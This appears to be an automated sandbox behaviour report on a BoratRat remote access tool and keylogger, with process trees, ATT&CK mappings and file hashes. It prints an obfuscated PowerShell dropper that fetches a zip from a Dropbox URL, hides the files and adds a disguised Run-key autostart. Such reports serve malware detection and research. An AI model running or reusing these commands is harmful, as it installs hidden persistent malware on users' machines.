    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5668 -prefsLen 32952 -prefMapHandle 5672 -prefMapSize 270279 -jsInitHandle 5676 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5680 -initialChannelId {83456e19-495f-456e-ba6a-56e2ffa28d0a} -parentPid 4672 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4672" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
    3⤵
    - Checks processor information in registry
    PID:5888
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5852 -prefsLen 32952 -prefMapHandle 5856 -prefMapSize 270279 -jsInitHandle 5860 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5868 -initialChannelId {ef178150-a603-431d-bd21-c06a21c3f7af} -parentPid 4672 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4672" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
    3⤵
    - Checks processor information in registry
    PID:5896
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 34828 -prefsLen 37147 -prefMapHandle 34720 -prefMapSize 270279 -jsInitHandle 34864 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 29180 -initialChannelId {6f7ea464-9ff6-40b6-8844-413f49d70db9} -parentPid 4672 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4672" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
    3⤵
    - Checks processor information in registry
    PID:1192
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 32456 -prefsLen 37227 -prefMapHandle 35820 -prefMapSize 270279 -jsInitHandle 35580 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6104 -initialChannelId {d1cf0d79-5d40-4fd1-b08a-6aa1d9d861e4} -parentPid 4672 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4672" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
    3⤵
    - Checks processor information in registry
    PID:5384

C:\Users\Admin\Downloads\boratnopswd\BORAT\BoratRat.exe
"C:\Users\Admin\Downloads\boratnopswd\BORAT\BoratRat.exe"
1⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5676
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Public\borat.vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:6108
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -eNc bQBrAGQAaQByACAALQBwACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXAAuAE0AaQBjAHIAbwBzAG8AZgB0AEMAbwByAHAAbwByAGEAdABpAG8AbgA7ACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAdAB0AHAAcwA6AC8ALwBkAGwALgBkAHIAbwBwAGIAbwB4AHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwAvAG0AaABzAHIAYgA2AHkANgAwAGwAdABiAHgAbwAwAC8AcAByAG8AYwBoAGUAYwBrAC4AegBpAHAAIAAtAE8AdQB0AEYAaQBsAGUAIABDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAC4ATQBpAGMAcgBvAHMAbwBmAHQAQwBvAHIAcABvAHIAYQB0AGkAbwBuAFwAcAByAG8AYwBoAGUAYwBrAC4AegBpAHAAOwBFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAIAAtAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAC4ATQBpAGMAcgBvAHMAbwBmAHQAQwBvAHIAcABvAHIAYQB0AGkAbwBuAFwAcAByAG8AYwBoAGUAYwBrAC4AegBpAHAAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXAAuAE0AaQBjAHIAbwBzAG8AZgB0AEMAbwByAHAAbwByAGEAdABpAG8AbgBcADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBGAG8AcgBjAGUAIABDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAC4ATQBpAGMAcgBvAHMAbwBmAHQAQwBvAHIAcABvAHIAYQB0AGkAbwBuAFwAcAByAG8AYwBoAGUAYwBrAC4AegBpAHAAOwBhAHQAdAByAGkAYgAgACsAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwALgBNAGkAYwByAG8AcwBvAGYAdABDAG8AcgBwAG8AcgBhAHQAaQBvAG4AXAB3AGkAbgBkAG8AdwB1AHAAZABhAHQAZQAuAGUAeABlADsAYQB0AHQAcgBpAGIAIAArAGgAIABDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAC4ATQBpAGMAcgBvAHMAbwBmAHQAQwBvAHIAcABvAHIAYQB0AGkAbwBuAFwATQBpAGMAcgBvAHMAbwBmAHQAUwB5AHMAdABlAG0AVQBwAGQAYQB0AGUALgB2AGIAZQA7AFIARQBHACAAQQBEAEQAIABIAEsARQBZAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAgAC8AdgAgAE0AaQBjAHIAbwBzAG8AZgB0AF8ARQBkAGcAZQBfAFAAbAB1AGcAaQBuACAALwB0ACAAUgBFAEcAXwBTAFoAIAAvAGQAIABDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAC4ATQBpAGMAcgBvAHMAbwBmAHQAQwBvAHIAcABvAHIAYQB0AGkAbwBuAFwATQBpAGMAcgBvAHMAbwBmAHQAUwB5AHMAdABlAG0AVQBwAGQAYQB0AGUALgB2AGIAZQAgAC8AZgA7AGMAbQBkACAALwBjACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXAAuAE0AaQBjAHIAbwBzAG8AZgB0AEMAbwByAHAAbwByAGEAdABpAG8AbgBcAE0AaQBjAHIAbwBzAG8AZgB0AFMAeQBzAHQAZQBtAFUAcABkAGEAdABlAC4AdgBiAGUA
    3⤵
    - Badlisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5180
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h C:\Users\Public\.MicrosoftCorporation\windowupdate.exe
      4⤵
      Views/modifies file attributes
      PID:440
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h C:\Users\Public\.MicrosoftCorporation\MicrosoftSystemUpdate.vbe
      4⤵
      Views/modifies file attributes
      PID:4904
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Microsoft_Edge_Plugin /t REG_SZ /d C:\Users\Public\.MicrosoftCorporation\MicrosoftSystemUpdate.vbe /f
      4⤵
      Adds Run key to start application
      PID:1872
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c C:\Users\Public\.MicrosoftCorporation\MicrosoftSystemUpdate.vbe
      4⤵
      PID:4284

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:2180

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5868

C:\Users\Admin\Downloads\boratnopswd\BORAT\BoratRat.exe
"C:\Users\Admin\Downloads\boratnopswd\BORAT\BoratRat.exe"
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3892
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Public\borat.vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:5176
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -eNc bQBrAGQAaQByACAALQBwACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXAAuAE0AaQBjAHIAbwBzAG8AZgB0AEMAbwByAHAAbwByAGEAdABpAG8AbgA7ACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAdAB0AHAAcwA6AC8ALwBkAGwALgBkAHIAbwBwAGIAbwB4AHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwAvAG0AaABzAHIAYgA2AHkANgAwAGwAdABiAHgAbwAwAC8AcAByAG8AYwBoAGUAYwBrAC4AegBpAHAAIAAtAE8AdQB0AEYAaQBsAGUAIABDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAC4ATQBpAGMAcgBvAHMAbwBmAHQAQwBvAHIAcABvAHIAYQB0AGkAbwBuAFwAcAByAG8AYwBoAGUAYwBrAC4AegBpAHAAOwBFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAIAAtAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAC4ATQBpAGMAcgBvAHMAbwBmAHQAQwBvAHIAcABvAHIAYQB0AGkAbwBuAFwAcAByAG8AYwBoAGUAYwBrAC4AegBpAHAAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXAAuAE0AaQBjAHIAbwBzAG8AZgB0AEMAbwByAHAAbwByAGEAdABpAG8AbgBcADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBGAG8AcgBjAGUAIABDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAC4ATQBpAGMAcgBvAHMAbwBmAHQAQwBvAHIAcABvAHIAYQB0AGkAbwBuAFwAcAByAG8AYwBoAGUAYwBrAC4AegBpAHAAOwBhAHQAdAByAGkAYgAgACsAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwALgBNAGkAYwByAG8AcwBvAGYAdABDAG8AcgBwAG8AcgBhAHQAaQBvAG4AXAB3AGkAbgBkAG8AdwB1AHAAZABhAHQAZQAuAGUAeABlADsAYQB0AHQAcgBpAGIAIAArAGgAIABDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAC4ATQBpAGMAcgBvAHMAbwBmAHQAQwBvAHIAcABvAHIAYQB0AGkAbwBuAFwATQBpAGMAcgBvAHMAbwBmAHQAUwB5AHMAdABlAG0AVQBwAGQAYQB0AGUALgB2AGIAZQA7AFIARQBHACAAQQBEAEQAIABIAEsARQBZAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAgAC8AdgAgAE0AaQBjAHIAbwBzAG8AZgB0AF8ARQBkAGcAZQBfAFAAbAB1AGcAaQBuACAALwB0ACAAUgBFAEcAXwBTAFoAIAAvAGQAIABDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAC4ATQBpAGMAcgBvAHMAbwBmAHQAQwBvAHIAcABvAHIAYQB0AGkAbwBuAFwATQBpAGMAcgBvAHMAbwBmAHQAUwB5AHMAdABlAG0AVQBwAGQAYQB0AGUALgB2AGIAZQAgAC8AZgA7AGMAbQBkACAALwBjACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXAAuAE0AaQBjAHIAbwBzAG8AZgB0AEMAbwByAHAAbwByAGEAdABpAG8AbgBcAE0AaQBjAHIAbwBzAG8AZgB0AFMAeQBzAHQAZQBtAFUAcABkAGEAdABlAC4AdgBiAGUA
    3⤵
    - Badlisted process makes network request
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:980
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h C:\Users\Public\.MicrosoftCorporation\windowupdate.exe
      4⤵
      Views/modifies file attributes
      PID:1508
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h C:\Users\Public\.MicrosoftCorporation\MicrosoftSystemUpdate.vbe
      4⤵
      Views/modifies file attributes
      PID:3700
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Microsoft_Edge_Plugin /t REG_SZ /d C:\Users\Public\.MicrosoftCorporation\MicrosoftSystemUpdate.vbe /f
      4⤵
      Adds Run key to start application
      PID:4476
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c C:\Users\Public\.MicrosoftCorporation\MicrosoftSystemUpdate.vbe
      4⤵
      PID:5016

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:4392

C:\Users\Admin\Downloads\boratnopswd\BORAT\bin\Keylogger.exe
"C:\Users\Admin\Downloads\boratnopswd\BORAT\bin\Keylogger.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5548

C:\Users\Admin\Downloads\boratnopswd\BORAT\bin\Keylogger.exe
"C:\Users\Admin\Downloads\boratnopswd\BORAT\bin\Keylogger.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5848

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4860

C:\Users\Admin\Downloads\boratnopswd\BORAT\BoratRat.exe
"C:\Users\Admin\Downloads\boratnopswd\BORAT\BoratRat.exe"
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5000
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Public\borat.vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:5804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -eNc bQBrAGQAaQByACAALQBwACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXAAuAE0AaQBjAHIAbwBzAG8AZgB0AEMAbwByAHAAbwByAGEAdABpAG8AbgA7ACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAdAB0AHAAcwA6AC8ALwBkAGwALgBkAHIAbwBwAGIAbwB4AHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwAvAG0AaABzAHIAYgA2AHkANgAwAGwAdABiAHgAbwAwAC8AcAByAG8AYwBoAGUAYwBrAC4AegBpAHAAIAAtAE8AdQB0AEYAaQBsAGUAIABDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAC4ATQBpAGMAcgBvAHMAbwBmAHQAQwBvAHIAcABvAHIAYQB0AGkAbwBuAFwAcAByAG8AYwBoAGUAYwBrAC4AegBpAHAAOwBFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAIAAtAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAC4ATQBpAGMAcgBvAHMAbwBmAHQAQwBvAHIAcABvAHIAYQB0AGkAbwBuAFwAcAByAG8AYwBoAGUAYwBrAC4AegBpAHAAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXAAuAE0AaQBjAHIAbwBzAG8AZgB0AEMAbwByAHAAbwByAGEAdABpAG8AbgBcADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBGAG8AcgBjAGUAIABDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAC4ATQBpAGMAcgBvAHMAbwBmAHQAQwBvAHIAcABvAHIAYQB0AGkAbwBuAFwAcAByAG8AYwBoAGUAYwBrAC4AegBpAHAAOwBhAHQAdAByAGkAYgAgACsAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwALgBNAGkAYwByAG8AcwBvAGYAdABDAG8AcgBwAG8AcgBhAHQAaQBvAG4AXAB3AGkAbgBkAG8AdwB1AHAAZABhAHQAZQAuAGUAeABlADsAYQB0AHQAcgBpAGIAIAArAGgAIABDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAC4ATQBpAGMAcgBvAHMAbwBmAHQAQwBvAHIAcABvAHIAYQB0AGkAbwBuAFwATQBpAGMAcgBvAHMAbwBmAHQAUwB5AHMAdABlAG0AVQBwAGQAYQB0AGUALgB2AGIAZQA7AFIARQBHACAAQQBEAEQAIABIAEsARQBZAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAgAC8AdgAgAE0AaQBjAHIAbwBzAG8AZgB0AF8ARQBkAGcAZQBfAFAAbAB1AGcAaQBuACAALwB0ACAAUgBFAEcAXwBTAFoAIAAvAGQAIABDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAC4ATQBpAGMAcgBvAHMAbwBmAHQAQwBvAHIAcABvAHIAYQB0AGkAbwBuAFwATQBpAGMAcgBvAHMAbwBmAHQAUwB5AHMAdABlAG0AVQBwAGQAYQB0AGUALgB2AGIAZQAgAC8AZgA7AGMAbQBkACAALwBjACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXAAuAE0AaQBjAHIAbwBzAG8AZgB0AEMAbwByAHAAbwByAGEAdABpAG8AbgBcAE0AaQBjAHIAbwBzAG8AZgB0AFMAeQBzAHQAZQBtAFUAcABkAGEAdABlAC4AdgBiAGUA
    3⤵
    - Badlisted process makes network request
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4996
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h C:\Users\Public\.MicrosoftCorporation\windowupdate.exe
      4⤵
      Views/modifies file attributes
      PID:2124
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h C:\Users\Public\.MicrosoftCorporation\MicrosoftSystemUpdate.vbe
      4⤵
      Views/modifies file attributes
      PID:2200
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Microsoft_Edge_Plugin /t REG_SZ /d C:\Users\Public\.MicrosoftCorporation\MicrosoftSystemUpdate.vbe /f
      4⤵
      Adds Run key to start application
      PID:5040
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c C:\Users\Public\.MicrosoftCorporation\MicrosoftSystemUpdate.vbe
      4⤵
      PID:4800

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:716

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5232
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\boratnopswd\BORAT\BoratRat.exe.config
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:828

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39a1055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5368

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

26C212D9399727259664BDFCA073966E_B7ED31D77D311A56FDCB56A0083B3E0B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\26C212D9399727259664BDFCA073966E_B7ED31D77D311A56FDCB56A0083B3E0B
Size 314B
SHA256 144c5aa01640a2b317b6022ead1a9cd1476cb2cc5d3eca7cd1bbdd8871656dba
MD5 0d4c6de893fee2dd8f67006ac2e8cdae
SHA1 e1df34ca603f7ecbd6e9fa72b514f8890c6f5d12
SHA512 295a8efeec152f0ef47536d1c347e6c951386d30cc326a44c2c7903a4ec7c8354038cf39a34b9e577d6e2fda4af6fb910255fee34fb2dc9258ebce1538d9c534
TLSH
T181E07DCF50216C5C28B7846558F04E707C216017158B8F2D3A136FBCA1751BDB803E03
MD5 SHA1 SHA512 TLSH

Submit Download

B1C7267527E2135ED2C5C2AE13A93217_B540C8EDB69D6CE302AB3DE871AD86FC

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B1C7267527E2135ED2C5C2AE13A93217_B540C8EDB69D6CE302AB3DE871AD86FC
Size 312B
SHA256 0b83ac7304d116f341ec52c21b865fb6d27ae78a20ff123efa911ee202d4f378
MD5 5efcc78c0da8d101709ef782d7fa5c25
SHA1 99224500079256791a1cc82eb1936f25c483cc70
SHA512 be1afee834f5a28c8095689a0b53df2ee78ab7f255d6c5553e4a8b4123a043ae3b8a81df4338a23c77c8434706502de5cf1dd43787a3f39bd473e563500eccb5
TLSH
T18CE07D1F0202186D63F755D427E847743C13D29735CD201C251627A9A5C7B5C4B16908
MD5 SHA1 SHA512 TLSH

Submit Download

BAD725C80F9E10846F35D039A996E4A8_2F150C8C8417D22ED6D60BF43C4EC81E

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\BAD725C80F9E10846F35D039A996E4A8_2F150C8C8417D22ED6D60BF43C4EC81E
Size 1KB
SHA256 1b4317d378e486ce72ad75cf04ffae0c6f9a93a691d284910d9d9a207b0bf890
MD5 33f868d4558d8fe805b899556eaaa488
SHA1 5ded34176e0aa3ac359c2c6058820f7bc13223e3
SHA512 2d9c633187c95570073a3ed93f2037017c9c62681e6c9555716b40c1180495a2a8f493c0e26d0c4ce600e1f336d9be5199e7ca766998dba7e9cf6fad8484bc23
TLSH
T1D031E7FD0D25A951BF897E058B8DE33A3C701BFC64C25D26E424C485ACC07F6B98842A
MD5 SHA1 SHA512 TLSH

Submit Download

DDF82FBF42644404FC51F355CB04F59A_AEB7F6205D02329F056EA5F0300B3AF6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDF82FBF42644404FC51F355CB04F59A_AEB7F6205D02329F056EA5F0300B3AF6
Size 852B
SHA256 2eb0c32a9d6079c58a1695b9aa97ea5980210f0c408d3ec2acfc7abcdb185d6d
MD5 5ce00abbe370a87caeaf85d609e510c3
SHA1 467e0ca92a0d532d57126a6ed39b8338dc170f00
SHA512 8b9bdf594084aa282e2999990d35947a9b14c38457ace132faa4a74bb3187a54a153b3d436ce57350cc3b2fbd87502466465bc56a1cdd4e5b8db7de6a61d32c0
TLSH
T1F20112E28B582055BEF6BFA1C8E4D8397CB44BCD5ED11720560441F220C372A6E4558C
MD5 SHA1 SHA512 TLSH

Submit Download

26C212D9399727259664BDFCA073966E_B7ED31D77D311A56FDCB56A0083B3E0B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\26C212D9399727259664BDFCA073966E_B7ED31D77D311A56FDCB56A0083B3E0B
Size 400B
SHA256 fa5523dcb4bcd16fd00c17963ad561a58bfc0a1363fc3d13ddedbefb5a1b3423
MD5 5c72efcdebf01a303cde370c626b60fd
SHA1 d52613230deef4ccbb321b5a745ddb952bba3cec
SHA512 9d75330ca68123f222fb791a4504df169706b7767b1c171f168e07c810f638bbd993524257da5ac2dc08a90a7d79af73dbc17ad6407948d4d5d8f750eb63859c
TLSH
T129E026203AFA822CE1B4A9B886E896F9896EA2210D8497B516A0441A7A17641ED32931
MD5 SHA1 SHA512 TLSH

Submit Download

B1C7267527E2135ED2C5C2AE13A93217_B540C8EDB69D6CE302AB3DE871AD86FC

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B1C7267527E2135ED2C5C2AE13A93217_B540C8EDB69D6CE302AB3DE871AD86FC
Size 420B
SHA256 d380fb7e468275f820eb40e85f76e69f6aa1995d5659544c9caac2a38cf93dfa
MD5 b3f445d9ad8003548b82f9c362d1d510
SHA1 e798f46a25c736fd46ea409c1e62c041b7080262
SHA512 83b5a78f191ec7273d4d4cfebdf360e481b3a75bcf1d87221f80855180aa6a8cd9557373f1a9df381c7f1705dcda3f8467ba62d251452ef49e3bea9ff6674d70
TLSH
T14BE0262C21FA520DF4E3D53D86E8A1768C99E2410A62977620E187097BE2740AE67E39
MD5 SHA1 SHA512 TLSH

Submit Download

BAD725C80F9E10846F35D039A996E4A8_2F150C8C8417D22ED6D60BF43C4EC81E

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\BAD725C80F9E10846F35D039A996E4A8_2F150C8C8417D22ED6D60BF43C4EC81E
Size 432B
SHA256 40f8d99ac9924bf9d1029486b20c0bb8a25be1bac7242c39dd7d937793f7b519
MD5 6d47977262013ea9a30642f327118f40
SHA1 c94a22d47f998e9837721adcc99bde20fce30b85
SHA512 980ee5245a33857d4d56437ce530b5a65e28eedec15a1336abfa7bcdefcb17eada39b0fa3a61b824b647d3333f2902188e6709125f840bfe341e62c262066315
TLSH
T14CE068283AFE8309F0B4DB750BCAB820C4FBB752056962A211D092297A11C405D29636
MD5 SHA1 SHA512 TLSH

Submit Download

DDF82FBF42644404FC51F355CB04F59A_AEB7F6205D02329F056EA5F0300B3AF6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDF82FBF42644404FC51F355CB04F59A_AEB7F6205D02329F056EA5F0300B3AF6
Size 446B
SHA256 b5e4732a68634be1ea817966cf0556bc7bc898c10efeee1e5c3fd18d061a90db
MD5 5072b732b08dff3381f0e987176b44d6
SHA1 4c8f8a5ff71df925de231e479aa09116223ced76
SHA512 e1215b04bfcb745ce183656e98439fb7e17ba80eac7ae4d3b3669ad69db6379ddee7fa7d2e17d2f4d51244142dbd08b1def174e8276306d7a11ab758b13b3c7e
TLSH
T1BFF02B2C25FF4308F171DA7922E9BA72446BB235AC2569F612E08B073701C405D67A12
MD5 SHA1 SHA512 TLSH

Submit Download

F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

Path C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx
Size 64KB
SHA256 b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a
MD5 d2fb266b97caff2086bf0fa74eddb6b2
SHA1 2f0061ce9c51b5b4fbab76b37fc6a540be7f805d
SHA512 c3ba95a538c1d266beb83334af755c34ce642a4178ab0f2e5f7822fd6821d3b68862a8b58f167a9294e6d913b08c1054a69b5d7aec2efdb3cf9796ed84de21a8
SSDEEP 3:mnlllGlll/l/lXp9ZjrPBY06llSl/gX/ZP:mll0dPBY0O0uXJ
TLSH
T1D053019562930667C852033848CB0BA63A7A9619979345A282A49270D8A9B6584A2299
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock

